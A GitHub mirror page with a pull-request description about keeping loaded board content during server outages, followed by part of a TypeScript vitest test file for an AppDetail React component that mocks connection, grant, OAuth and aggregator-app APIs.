mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-11-09 07:10:34 +01:00
## Thinking Path > - Paperclip lets people manage agent work through the board. > - The board reads task, agent, settings, plugin, and run data from the server. > - A deploy can interrupt those reads after content is already visible. > - Local error branches can replace that content with an error or show raw codes. > - This pull request moves the remaining reads to the shared recovery behavior. > - The query-error guard prevents new local error patterns from returning. ## Linked Issues or Issue Description **What happened?** Loaded lists, settings, task panels, and manual reads could clear their content or show errors during a server restart. Some reads also disabled the shared retry policy. **Expected behavior** Keep loaded content during a temporary failure. Show the shared connection banner. Retry reads after recovery. Replace content after a real access denial or missing resource, with readable copy. **Steps to reproduce** Open a task, settings page, or run log. Return 503 with `tenant_app_unavailable` from the API. Restore the API and check that content refreshes. Repeat with 403 and 404 to check the failure state. Related merged work: Refs #15754, Refs #15772, Refs #17960. This change covers remaining reads and enforcement. Browser persistence and the outage browser suite follow separately. ## What Changed - Repair an existing PostgreSQL deadline fixture at UTC boundaries. A daily cap defers a heartbeat until both its original interval and the next UTC day allow it. Keep the counted run in its seeded day and cover noon, just before midnight and the first second after midnight with explicit clocks and real PostgreSQL. Production scheduling is unchanged. - Integrate the saved list, settings, shell, task, and manual-read recovery changes against current master. Preserve the current task, Inbox, and run-log structure. - Add `useResilientFetch` for component-local reads. Preserve loaded data, cancel stale requests, and retry through the shared connectivity policy. Keep browser and pairing capabilities in memory. - Retain run log chunks across stream changes and catch up after recovery without duplicate chunks or stalled requests. - Keep genuine authorization and missing-resource failures visible. Translate known single-word codes such as `forbidden`. Show known skills and disconnected-app failures before sibling loading states. Keep Retry bound to its failed request. - Make the query-error guard enforce by default and run it in the CI policy job. Document the narrow exceptions and the read recovery contract. - Invalidate pending OAuth discovery when the operator leaves setup or its context changes. Keep reserved-popup cleanup bound to the current attempt. ## Verification - Current read head `09d1db29dea` is merge-ready: all 59 check runs are completed (54 successful, three skipped, two neutral), the legacy Snyk status is successful, and both required `ci / verify` and `ci / e2e` gates pass. Greptile Apex reviewed this exact head at 5/5 with no unresolved threads; the branch has no merge conflicts. The current CI run is `41748339602`. - Current read head `09d1db29dea` includes master `683fa4725e9`. The latest change touches only the existing server deadline test fixture. Application source remains the previously verified `86376fa751e` revision: all 60 affected skills/disconnected-app tests and both application UI typechecks passed, along with token gates and the enforcing query-error guard. Those UI suites were not repeated for this test-only repair. - The fixture repair passes all seven deadline integration cases and the complete server typecheck, including the server test layer. The old assertion deterministically fails at 23:59:06.888 UTC; its one-second-old run also fails the first-second-of-day probe. The corrected fixture passes noon and both midnight probes. The permanent three-case coverage uses seeded 2099 clocks. - Twelve new regressions fail against the previous implementation. Both skills variants and disconnected-app pages show either request's 403 or 429 while the sibling pauses or remains fetching. Permission failures stay visible. Retry stays usable for its failed request and recovers independently. An initial test-fixture query-key typo was corrected before the passing run. The finding is replied to and resolved. Greptile reviewed prior application revision `86376fa751e` at 5/5 with no new actionable findings or unresolved threads. The current test-only head has now received its own Apex 5/5 review with no unresolved threads, and its CI is successful as recorded above. - The preceding OAuth fix passed all 237 setup tests on both application branches. Its ten regressions prove that Back, Cancel, unmount, or context changes retire initial discovery without creating a connection, caching old identities, navigating an abandoned popup, or closing a newer attempt. - Earlier master integration `e992f770339` passed all 309 tests across eight affected Slack, recovery, retry, submission and task files, plus UI typecheck, token gates, enforcing query-error scan and seven guard tests. The integration preserves Slack workspace reconnect and shared recovery, readable execution errors, source-inspection company scoping, and current submission behavior. Newly inherited retained-file recovery controls keep cached data through transient failures and hide it after definitive denial. - The preceding cache head `97c0bc3966f` passed 1,038 focused cache/write/editor/account/task/API tests. All 22 built-UI outage/write/loading cases passed in 4.7 minutes on exact browser head `b7deaaee5da`, with strict checking of all three specs. The latest skills/app rendering fix is covered by its affected component suites; those broader cases were not repeated for this separate read path. - Historical broader UI, CLI and build results and unresolved aggregate server/DB/adapter failures remain in the PR discussion. Interrupted CI runs were audited and recorded separately; they are not counted as passes. Controlled local outages do not prove hosted authentication or a real Cloud restart/deploy. Real hosted acceptance remains required after merge and deployment. Commands for the latest fix: ```sh pnpm --filter @paperclipai/ui exec vitest run src/pages/CompanySkills.test.tsx src/pages/apps/AppNotConnected.test.tsx pnpm --filter @paperclipai/ui typecheck pnpm check:token-gates node scripts/check-query-error-rendering.mjs --enforce --summary ``` ## Risks This migration touches many read surfaces. The main risks are initial loading, request cancellation, retained authorization state, and run-log paging. The tests cover those states. There are no server, schema, dependency, or API contract changes. The follow-up browser suite and hosted deploy acceptance are required before release acceptance. Recovered commits retain their original authors. If squash-merging, preserve `Co-Authored-By: Bender (Fable) <bender@agents.paperclip.ing>` and the Paperclip trailer. ## Model Used OpenAI `gpt-6.1-sol` through Codex, with xhigh reasoning effort, tool use, and code execution. The context window size is not exposed. Saved source commits keep their original authorship. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have described the issue in-PR following the bug report template - [x] I have not referenced internal/instance-local Paperclip issues or links - [x] My branch name describes the change and contains no internal ticket id - [x] The affected local tests pass; broader limitations are recorded above - [x] I have added or updated tests where applicable - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented risks above - [x] All Paperclip CI gates are green - [x] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [x] I will address all Greptile and reviewer comments before requesting merge --------- Co-authored-by: devinfoley <139239+devinfoley@users.noreply.github.com> Co-authored-by: Paperclip <noreply@paperclip.ing> Co-authored-by: Bender (Fable) <bender@agents.paperclip.ing> Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>
2114 lines
87 KiB
TypeScript
2114 lines
87 KiB
TypeScript
// @vitest-environment jsdom
|
||
|
||
import { flushSync } from "react-dom";
|
||
import type { ReactNode } from "react";
|
||
import { createRoot } from "react-dom/client";
|
||
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
|
||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||
import { getAppStoreDefinition } from "@paperclipai/shared";
|
||
import type { AggregatorAppSnapshot, AggregatorAppsResponse } from "@paperclipai/shared/aggregator-apps";
|
||
import { ApiError } from "@/api/client";
|
||
import { queryKeys } from "@/lib/queryKeys";
|
||
import { rememberSkillSourceReturn, skillSourceReturnPath } from "@/lib/skill-source-connect-return";
|
||
import { AppDetail } from "./AppDetail";
|
||
import { APP_TABS } from "./app-tabs";
|
||
|
||
const getConnectionMock = vi.hoisted(() => vi.fn());
|
||
const getConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||
const listApplicationsMock = vi.hoisted(() => vi.fn());
|
||
const listGalleryMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionsMock = vi.hoisted(() => vi.fn());
|
||
const listCatalogMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionProfileConfigurationMock = vi.hoisted(() => vi.fn());
|
||
const listPoliciesMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionActivityMock = vi.hoisted(() => vi.fn());
|
||
const listActionRequestsMock = vi.hoisted(() => vi.fn());
|
||
const listTestAgentsMock = vi.hoisted(() => vi.fn());
|
||
const getTestAgentAccessMock = vi.hoisted(() => vi.fn());
|
||
const updateConnectionMock = vi.hoisted(() => vi.fn());
|
||
const finishAppMock = vi.hoisted(() => vi.fn());
|
||
const deleteProfileMock = vi.hoisted(() => vi.fn());
|
||
const finalizeOAuthAccessMock = vi.hoisted(() => vi.fn());
|
||
const putConnectionInstallsMock = vi.hoisted(() => vi.fn());
|
||
const refreshCatalogMock = vi.hoisted(() => vi.fn());
|
||
const checkConnectionHealthMock = vi.hoisted(() => vi.fn());
|
||
const startOAuthMock = vi.hoisted(() => vi.fn());
|
||
const reconnectConnectionMock = vi.hoisted(() => vi.fn());
|
||
const listConnectionGrantsMock = vi.hoisted(() => vi.fn());
|
||
const revokeConnectionGrantMock = vi.hoisted(() => vi.fn());
|
||
const createConnectionGrantDelegationMock = vi.hoisted(() => vi.fn());
|
||
const revokeConnectionGrantDelegationMock = vi.hoisted(() => vi.fn());
|
||
const replaceConnectionGrantMembersMock = vi.hoisted(() => vi.fn());
|
||
const startPersonalAuthorizationMock = vi.hoisted(() => vi.fn());
|
||
const listUserDirectoryMock = vi.hoisted(() => vi.fn());
|
||
const getSessionMock = vi.hoisted(() => vi.fn());
|
||
const listAggregatorAppsMock = vi.hoisted(() => vi.fn());
|
||
const syncAggregatorAppsMock = vi.hoisted(() => vi.fn());
|
||
const mockNavigate = vi.hoisted(() => vi.fn());
|
||
const mockParams = vi.hoisted(() => ({ connectionId: "conn-1", tab: "permissions" as string | undefined }));
|
||
const mockSearchParams = vi.hoisted(() => ({ value: new URLSearchParams() }));
|
||
const navigateComponentMock = vi.hoisted(() => vi.fn());
|
||
const navigateTopLevelMock = vi.hoisted(() => vi.fn());
|
||
|
||
vi.mock("@/components/ai-connections/AiConnectionPoolConnector", () => ({
|
||
AiConnectionPoolConnector: () => <div>Connection pool controls</div>,
|
||
}));
|
||
|
||
vi.mock("@/api/tools", () => ({
|
||
toolsApi: {
|
||
listAggregatorApps: (connectionId: string) => listAggregatorAppsMock(connectionId),
|
||
syncAggregatorApps: (connectionId: string, force: boolean) => syncAggregatorAppsMock(connectionId, force),
|
||
getConnection: (connectionId: string) => getConnectionMock(connectionId),
|
||
getConnectionInstalls: (connectionId: string) => getConnectionInstallsMock(connectionId),
|
||
listApplications: (companyId: string) => listApplicationsMock(companyId),
|
||
listGallery: (companyId: string) => listGalleryMock(companyId),
|
||
listConnections: (companyId: string) => listConnectionsMock(companyId),
|
||
listCatalog: (connectionId: string) => listCatalogMock(connectionId),
|
||
listConnectionProfileConfiguration: (connectionId: string) => listConnectionProfileConfigurationMock(connectionId),
|
||
deleteProfile: (profileId: string) => deleteProfileMock(profileId),
|
||
listPolicies: (companyId: string) => listPoliciesMock(companyId),
|
||
listConnectionActivity: (connectionId: string, limit: number) =>
|
||
listConnectionActivityMock(connectionId, limit),
|
||
listActionRequests: (companyId: string, status: string) =>
|
||
listActionRequestsMock(companyId, status),
|
||
listTestAgents: (connectionId: string) => listTestAgentsMock(connectionId),
|
||
getTestAgentAccess: (connectionId: string, agentId: string) =>
|
||
getTestAgentAccessMock(connectionId, agentId),
|
||
updateConnection: (connectionId: string, input: unknown) =>
|
||
updateConnectionMock(connectionId, input),
|
||
finishApp: (companyId: string, connectionId: string, input: unknown) =>
|
||
finishAppMock(companyId, connectionId, input),
|
||
finalizeOAuthAccess: (companyId: string, connectionId: string, input: unknown) =>
|
||
finalizeOAuthAccessMock(companyId, connectionId, input),
|
||
putConnectionInstalls: (connectionId: string, installs: unknown) =>
|
||
putConnectionInstallsMock(connectionId, installs),
|
||
archiveConnection: vi.fn(),
|
||
refreshCatalog: (connectionId: string) => refreshCatalogMock(connectionId),
|
||
checkConnectionHealth: (connectionId: string) => checkConnectionHealthMock(connectionId),
|
||
startOAuth: (connectionId: string, input?: unknown) => input === undefined
|
||
? startOAuthMock(connectionId)
|
||
: startOAuthMock(connectionId, input),
|
||
listConnectionGrants: (connectionId: string) => listConnectionGrantsMock(connectionId),
|
||
revokeConnectionGrant: (connectionId: string, grantId: string) =>
|
||
revokeConnectionGrantMock(connectionId, grantId),
|
||
createConnectionGrantDelegation: (connectionId: string, grantId: string, agentId: string) =>
|
||
createConnectionGrantDelegationMock(connectionId, grantId, agentId),
|
||
revokeConnectionGrantDelegation: (
|
||
connectionId: string,
|
||
grantId: string,
|
||
delegationId: string,
|
||
) => revokeConnectionGrantDelegationMock(connectionId, grantId, delegationId),
|
||
replaceConnectionGrantMembers: (connectionId: string, grantId: string, memberUserIds: string[]) =>
|
||
replaceConnectionGrantMembersMock(connectionId, grantId, memberUserIds),
|
||
startPersonalAuthorization: (companyId: string, connectionId: string, input: unknown) =>
|
||
startPersonalAuthorizationMock(companyId, connectionId, input),
|
||
reconnectConnection: (id: string, values: unknown) => reconnectConnectionMock(id, values),
|
||
},
|
||
}));
|
||
|
||
vi.mock("./AppLogo", () => ({
|
||
AppLogo: ({
|
||
name,
|
||
brandKey,
|
||
logoUrl,
|
||
allowRemoteFallback,
|
||
}: {
|
||
name: string;
|
||
brandKey?: string | null;
|
||
logoUrl?: string | null;
|
||
allowRemoteFallback?: boolean;
|
||
}) => (
|
||
<span
|
||
data-app-logo={name}
|
||
data-brand-key={brandKey ?? ""}
|
||
data-logo-url={logoUrl ?? ""}
|
||
data-allow-remote-fallback={allowRemoteFallback ? "true" : "false"}
|
||
/>
|
||
),
|
||
}));
|
||
|
||
vi.mock("@/api/access", () => ({
|
||
accessApi: {
|
||
listUserDirectory: (companyId: string) => listUserDirectoryMock(companyId),
|
||
},
|
||
}));
|
||
|
||
vi.mock("@/api/auth", () => ({
|
||
authApi: {
|
||
getSession: () => getSessionMock(),
|
||
},
|
||
}));
|
||
|
||
vi.mock("@/api/agents", () => ({
|
||
agentsApi: {
|
||
list: vi.fn().mockResolvedValue([
|
||
{ id: "agent-1", name: "Coder", title: "Engineer", status: "active" },
|
||
]),
|
||
},
|
||
}));
|
||
|
||
vi.mock("@/lib/browserNavigation", () => ({
|
||
navigateTopLevel: (target: string) => navigateTopLevelMock(target),
|
||
}));
|
||
|
||
vi.mock("@/lib/router", () => ({
|
||
useParams: () => mockParams,
|
||
useNavigate: () => mockNavigate,
|
||
useSearchParams: () => [mockSearchParams.value, vi.fn()],
|
||
Navigate: ({ to, replace }: { to: string; replace?: boolean }) => {
|
||
navigateComponentMock({ to, replace });
|
||
return <div data-navigate-to={to} />;
|
||
},
|
||
Link: ({ to, children, ...props }: { to: string; children: ReactNode }) => (
|
||
<a href={to} {...props}>
|
||
{children}
|
||
</a>
|
||
),
|
||
}));
|
||
|
||
vi.mock("@/context/CompanyContext", () => ({
|
||
useCompany: () => ({
|
||
selectedCompanyId: "company-1",
|
||
selectedCompany: { id: "company-1", name: "Paperclip" },
|
||
}),
|
||
}));
|
||
|
||
vi.mock("@/context/BreadcrumbContext", () => ({
|
||
useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }),
|
||
}));
|
||
|
||
const pushToastMock = vi.hoisted(() => vi.fn());
|
||
vi.mock("@/context/ToastContext", () => ({
|
||
useToast: () => ({ pushToast: pushToastMock }),
|
||
}));
|
||
|
||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||
(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
|
||
|
||
async function act(callback: () => void | Promise<void>) {
|
||
let result: void | Promise<void> = undefined;
|
||
flushSync(() => {
|
||
result = callback();
|
||
});
|
||
await result;
|
||
}
|
||
|
||
async function flushReact() {
|
||
for (let i = 0; i < 3; i += 1) {
|
||
await act(async () => {
|
||
await Promise.resolve();
|
||
await new Promise((resolve) => window.setTimeout(resolve, 0));
|
||
});
|
||
}
|
||
}
|
||
|
||
function connection(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
id: "conn-1",
|
||
companyId: "company-1",
|
||
applicationId: "app-1",
|
||
name: "GitHub",
|
||
connectionKind: "managed",
|
||
transport: "mcp_remote",
|
||
status: "active",
|
||
transportConfig: { url: "https://github.example/mcp" },
|
||
config: { url: "https://github.example/mcp" },
|
||
credentialSecretRefs: [],
|
||
credentialRefs: [],
|
||
healthStatus: "healthy",
|
||
healthCheckedAt: null,
|
||
lastError: null,
|
||
enabled: true,
|
||
lastUsedAt: null,
|
||
createdByAgentId: null,
|
||
createdByUserId: null,
|
||
createdAt: new Date("2026-01-01T00:00:00Z"),
|
||
updatedAt: new Date("2026-01-01T00:00:00Z"),
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
/** A member who may configure this connection and edit every agent. */
|
||
function fullCapabilities(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
canConfigure: true,
|
||
canCreateOrganizationGrant: true,
|
||
canSetCompanyInstall: true,
|
||
canConnectAsCurrentUser: true,
|
||
canManageAgentInstalls: true,
|
||
canViewOtherPersonalIdentities: false,
|
||
editableAgentIds: ["agent-1", "agent-2"],
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
function organizationGrant(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
id: "grant-org",
|
||
companyId: "company-1",
|
||
connectionId: "conn-1",
|
||
kind: "organization",
|
||
subjectUserId: null,
|
||
providerTenant: { name: "Notion workspace" },
|
||
credentialSecretRefs: [],
|
||
status: "active",
|
||
isDefault: true,
|
||
createdByAgentId: null,
|
||
createdByUserId: "user-1",
|
||
revokedAt: null,
|
||
revokedByAgentId: null,
|
||
revokedByUserId: null,
|
||
lastUsedAt: null,
|
||
createdAt: new Date("2026-01-01T00:00:00Z"),
|
||
updatedAt: new Date("2026-01-01T00:00:00Z"),
|
||
members: [],
|
||
capabilities: { canRevoke: true, canEditAudience: true },
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
function personalGrant(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
...organizationGrant(),
|
||
id: "grant-user",
|
||
kind: "user",
|
||
subjectUserId: "user-1",
|
||
providerTenant: null,
|
||
isDefault: false,
|
||
capabilities: { canRevoke: true, canEditAudience: false },
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
function dedicatedGitHubGrant(
|
||
overrides: Record<string, unknown> = {},
|
||
githubOverrides: Record<string, unknown> = {},
|
||
) {
|
||
return organizationGrant({
|
||
id: "grant-agent",
|
||
kind: "agent",
|
||
subjectAgentId: "agent-1",
|
||
subjectUserId: null,
|
||
isDefault: false,
|
||
providerTenant: {
|
||
github: {
|
||
userId: "123",
|
||
login: "dottabot",
|
||
installationCount: 1,
|
||
repositoryCount: 1,
|
||
repositorySelection: "selected",
|
||
installationIds: ["456"],
|
||
installationOwnerLogins: ["paperclipai"],
|
||
repositories: [{ id: "789", fullName: "paperclipai/test-repo", installationId: "456" }],
|
||
installationUrl: "https://github.com/apps/paperclip-test/installations/new",
|
||
managementUrl: "https://github.com/settings/installations/456",
|
||
webhookHealth: "pending",
|
||
lastWebhookAt: null,
|
||
lastAccessRefreshAt: "2026-09-05T12:00:00.000Z",
|
||
...githubOverrides,
|
||
},
|
||
},
|
||
...overrides,
|
||
});
|
||
}
|
||
|
||
function catalogEntry(overrides: Record<string, unknown> = {}) {
|
||
return {
|
||
id: "catalog-read",
|
||
companyId: "company-1",
|
||
connectionId: "conn-1",
|
||
toolName: "read_repo",
|
||
title: "Read repo",
|
||
description: "Read repository metadata",
|
||
status: "active",
|
||
isReadOnly: true,
|
||
riskLevel: "read",
|
||
createdAt: new Date("2026-01-01T00:00:00Z"),
|
||
updatedAt: new Date("2026-01-01T00:00:00Z"),
|
||
...overrides,
|
||
};
|
||
}
|
||
|
||
function setInputValue(input: HTMLInputElement, value: string) {
|
||
const setter = Object.getOwnPropertyDescriptor(
|
||
window.HTMLInputElement.prototype,
|
||
"value",
|
||
)?.set;
|
||
setter?.call(input, value);
|
||
input.dispatchEvent(new Event("input", { bubbles: true }));
|
||
}
|
||
|
||
function aggregatorApps(apps: AggregatorAppSnapshot[] = []): AggregatorAppsResponse {
|
||
return {
|
||
provider: "composio", apps, discovery: { availability: "available", message: null },
|
||
sync: { status: "ready", coverage: "supported_catalog", checked: 2, total: 2, failed: 0,
|
||
lastCompletedAt: new Date().toISOString(), error: null },
|
||
};
|
||
}
|
||
|
||
function observedApp(toolkit: string, name: string, overrides: Partial<AggregatorAppSnapshot> = {}): AggregatorAppSnapshot {
|
||
return { connectionId: "conn-1", provider: "composio", appSlug: toolkit, appName: name, toolkit,
|
||
status: "connected", freshness: "fresh", checkedAt: new Date().toISOString(), errorAt: null,
|
||
accounts: [{ id: `${toolkit}-account`, alias: null, status: "ACTIVE", isDefault: true }], ...overrides };
|
||
}
|
||
|
||
describe("AppDetail", () => {
|
||
let container: HTMLDivElement;
|
||
let root: ReturnType<typeof createRoot>;
|
||
|
||
beforeEach(() => {
|
||
sessionStorage.clear();
|
||
container = document.createElement("div");
|
||
document.body.appendChild(container);
|
||
mockParams.connectionId = "conn-1";
|
||
mockParams.tab = "permissions";
|
||
mockSearchParams.value = new URLSearchParams();
|
||
getConnectionMock.mockResolvedValue(connection());
|
||
listAggregatorAppsMock.mockResolvedValue(aggregatorApps());
|
||
syncAggregatorAppsMock.mockResolvedValue(aggregatorApps());
|
||
getConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||
listApplicationsMock.mockResolvedValue({
|
||
applications: [{ id: "app-1", applicationKey: "github", name: "GitHub", status: "active" }],
|
||
});
|
||
listConnectionsMock.mockResolvedValue({ connections: [] });
|
||
listConnectionGrantsMock.mockResolvedValue({
|
||
connection: { id: "conn-1", uid: "conn-1" },
|
||
grants: [],
|
||
capabilities: fullCapabilities(),
|
||
currentUserId: "user-1",
|
||
members: [],
|
||
});
|
||
listGalleryMock.mockResolvedValue({
|
||
apps: [
|
||
{
|
||
key: "github",
|
||
name: "GitHub",
|
||
logoUrl: "https://example.com/github.png",
|
||
tagline: "GitHub tagline",
|
||
description: "Give agents a governed way to inspect repositories and pull requests.",
|
||
authKind: "api_key",
|
||
transportTemplate: { transport: "mcp_remote", url: "https://github.example/mcp" },
|
||
credentialFields: [],
|
||
recommendedDefaults: {},
|
||
urlPatterns: [],
|
||
},
|
||
],
|
||
});
|
||
listCatalogMock.mockResolvedValue({
|
||
catalog: [
|
||
catalogEntry(),
|
||
catalogEntry({
|
||
id: "catalog-write",
|
||
toolName: "write_issue",
|
||
title: "Write issue",
|
||
description: "Create or update an issue",
|
||
isReadOnly: false,
|
||
}),
|
||
catalogEntry({
|
||
id: "catalog-quarantined",
|
||
toolName: "delete_repo",
|
||
title: "Delete repo",
|
||
status: "quarantined",
|
||
isReadOnly: false,
|
||
}),
|
||
],
|
||
});
|
||
listConnectionProfileConfigurationMock.mockResolvedValue({
|
||
profiles: [
|
||
{
|
||
profileKey: "app:conn-1",
|
||
entries: [
|
||
{ effect: "include", catalogEntryId: "catalog-read" },
|
||
{ effect: "include", catalogEntryId: "catalog-write" },
|
||
],
|
||
bindings: [{ targetType: "company" }],
|
||
},
|
||
],
|
||
});
|
||
listPoliciesMock.mockResolvedValue({
|
||
policies: [
|
||
{
|
||
policyType: "require_approval",
|
||
enabled: true,
|
||
config: {
|
||
source: "app_gallery_finish",
|
||
connectionId: "conn-1",
|
||
catalogEntryId: "catalog-write",
|
||
},
|
||
},
|
||
],
|
||
});
|
||
listConnectionActivityMock.mockResolvedValue({ events: [], issues: {}, actionRequests: {} });
|
||
listActionRequestsMock.mockResolvedValue({ actionRequests: [] });
|
||
listTestAgentsMock.mockResolvedValue({ agents: [] });
|
||
updateConnectionMock.mockResolvedValue(connection({ enabled: false }));
|
||
finishAppMock.mockResolvedValue({});
|
||
deleteProfileMock.mockResolvedValue({ deleted: true });
|
||
finalizeOAuthAccessMock.mockResolvedValue({});
|
||
putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] });
|
||
checkConnectionHealthMock.mockResolvedValue({ connection: connection(), healthStatus: "ok" });
|
||
refreshCatalogMock.mockResolvedValue({ discoveredCount: 0, quarantinedCount: 0, catalog: [] });
|
||
startOAuthMock.mockResolvedValue({
|
||
connectionId: "conn-1",
|
||
provider: "smoke_lab",
|
||
authorizationUrl: "https://example.test/oauth",
|
||
expiresAt: "2026-07-10T00:00:00.000Z",
|
||
});
|
||
createConnectionGrantDelegationMock.mockResolvedValue({
|
||
id: "delegation-1",
|
||
grantId: "grant-user",
|
||
agentId: "agent-1",
|
||
});
|
||
revokeConnectionGrantDelegationMock.mockResolvedValue({});
|
||
listUserDirectoryMock.mockResolvedValue({ users: [] });
|
||
getSessionMock.mockResolvedValue({
|
||
user: { id: "user-1", name: "Dotta", image: null },
|
||
session: { userId: "user-1" },
|
||
});
|
||
});
|
||
|
||
afterEach(() => {
|
||
flushSync(() => root?.unmount());
|
||
container.remove();
|
||
vi.restoreAllMocks();
|
||
vi.clearAllMocks();
|
||
});
|
||
|
||
async function renderAppDetail() {
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
root = createRoot(container);
|
||
await act(async () => {
|
||
root.render(
|
||
<QueryClientProvider client={client}>
|
||
<AppDetail />
|
||
</QueryClientProvider>,
|
||
);
|
||
});
|
||
await flushReact();
|
||
return client;
|
||
}
|
||
|
||
function useComposioConnection() {
|
||
getConnectionMock.mockResolvedValue(connection({ name: "Composio", authKind: "oauth",
|
||
config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp" } }));
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-1", applicationKey: "composio", name: "Composio", metadata: { sourceTemplateKey: "composio" } }] });
|
||
}
|
||
|
||
it("refreshes connected apps on first load, shows progress, and exposes the completed inventory", async () => {
|
||
useComposioConnection();
|
||
const prior = aggregatorApps([observedApp("airtable", "Airtable")]);
|
||
const completed = aggregatorApps([observedApp("circleback-mcp", "Circleback")]);
|
||
listAggregatorAppsMock.mockResolvedValue(prior);
|
||
syncAggregatorAppsMock.mockResolvedValue({ ...prior, sync: { ...prior.sync, status: "syncing", checked: 0 } });
|
||
const client = await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Refreshing apps… 0 of 2"));
|
||
expect(syncAggregatorAppsMock).toHaveBeenCalledTimes(1);
|
||
expect(syncAggregatorAppsMock).toHaveBeenCalledWith("conn-1", true);
|
||
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(true);
|
||
expect(container.textContent).not.toContain("Provider permissions come from your last sign-in");
|
||
expect(container.textContent).not.toContain("Reconnect to update permissions");
|
||
listAggregatorAppsMock.mockResolvedValue(completed);
|
||
await act(async () => { await client.refetchQueries({ queryKey: queryKeys.tools.aggregatorApps("conn-1", "user-1"), exact: true }); });
|
||
await flushReact();
|
||
const list = container.querySelector('ul[aria-label="Connected Composio apps"]')!;
|
||
expect(list.textContent).toContain("Circleback");
|
||
expect(list.textContent).not.toContain("Airtable");
|
||
expect(container.textContent).toContain("Apps refreshed.");
|
||
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(false);
|
||
expect(syncAggregatorAppsMock).toHaveBeenCalledTimes(1);
|
||
});
|
||
|
||
it("manual refresh updates only this gateway and retains previous apps when it fails", async () => {
|
||
useComposioConnection();
|
||
const observed = aggregatorApps([observedApp("notion", "Notion")]);
|
||
listAggregatorAppsMock.mockResolvedValue(observed);
|
||
syncAggregatorAppsMock.mockResolvedValue(observed);
|
||
await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
|
||
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(false);
|
||
syncAggregatorAppsMock.mockRejectedValueOnce(new Error("Authorization expired"));
|
||
await act(async () => container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')!.click());
|
||
await flushReact();
|
||
await vi.waitFor(() => expect(container.querySelector('[role="alert"]')?.textContent).toContain("Last known apps are shown."));
|
||
expect(container.querySelector('ul[aria-label="Connected Composio apps"]')?.textContent).toContain("NotionNot verified");
|
||
expect(syncAggregatorAppsMock.mock.calls).toEqual([["conn-1", true], ["conn-1", true]]);
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("groups provider variants and displays sign-in status without treating unseen apps as connected", async () => {
|
||
useComposioConnection();
|
||
const observed = aggregatorApps([
|
||
observedApp("notion", "Notion"), observedApp("notion_mcp", "Notion", { appSlug: "notion" }),
|
||
observedApp("slack", "Slack", { accounts: [{ id: "expired", alias: null, status: "EXPIRED", isDefault: false }] }),
|
||
observedApp("github", "GitHub", { status: "not_connected", accounts: [] }),
|
||
]);
|
||
listAggregatorAppsMock.mockResolvedValue(observed);
|
||
syncAggregatorAppsMock.mockResolvedValue(observed);
|
||
await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
|
||
const list = container.querySelector('ul[aria-label="Connected Composio apps"]')!;
|
||
expect(list.querySelectorAll("li")).toHaveLength(2);
|
||
expect(list.textContent).toContain("Notion2 accountsConnected");
|
||
expect(list.textContent).toContain("SlackNeeds sign-in");
|
||
expect(list.textContent).not.toContain("GitHub");
|
||
});
|
||
|
||
it("keeps unavailable discovery explicit without automatically retrying unsupported gateways", async () => {
|
||
useComposioConnection();
|
||
listAggregatorAppsMock.mockResolvedValue({ ...aggregatorApps(), discovery: { availability: "unsupported", message: "Account discovery unavailable." } });
|
||
await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Account discovery unavailable."));
|
||
expect(syncAggregatorAppsMock).not.toHaveBeenCalled();
|
||
expect(container.querySelector<HTMLButtonElement>('button[aria-label="Refresh Composio"]')?.disabled).toBe(true);
|
||
});
|
||
|
||
it.each([
|
||
["UNVERIFIED", "Not verified"],
|
||
["INITIATED", "Waiting for sign-in"],
|
||
["EXPIRED", "Needs sign-in"],
|
||
])("shows %s provider health as %s", async (status, label) => {
|
||
useComposioConnection();
|
||
const observed = aggregatorApps([observedApp("notion", "Notion", {
|
||
accounts: [{ id: "account", alias: null, status, isDefault: false }],
|
||
})]);
|
||
listAggregatorAppsMock.mockResolvedValue(observed);
|
||
syncAggregatorAppsMock.mockResolvedValue(observed);
|
||
await renderAppDetail();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Apps refreshed."));
|
||
expect(container.querySelector('ul[aria-label="Connected Composio apps"]')?.textContent).toBe(`Notion${label}`);
|
||
});
|
||
|
||
it("does not request manager-only account inventory without configuration access", async () => {
|
||
useComposioConnection();
|
||
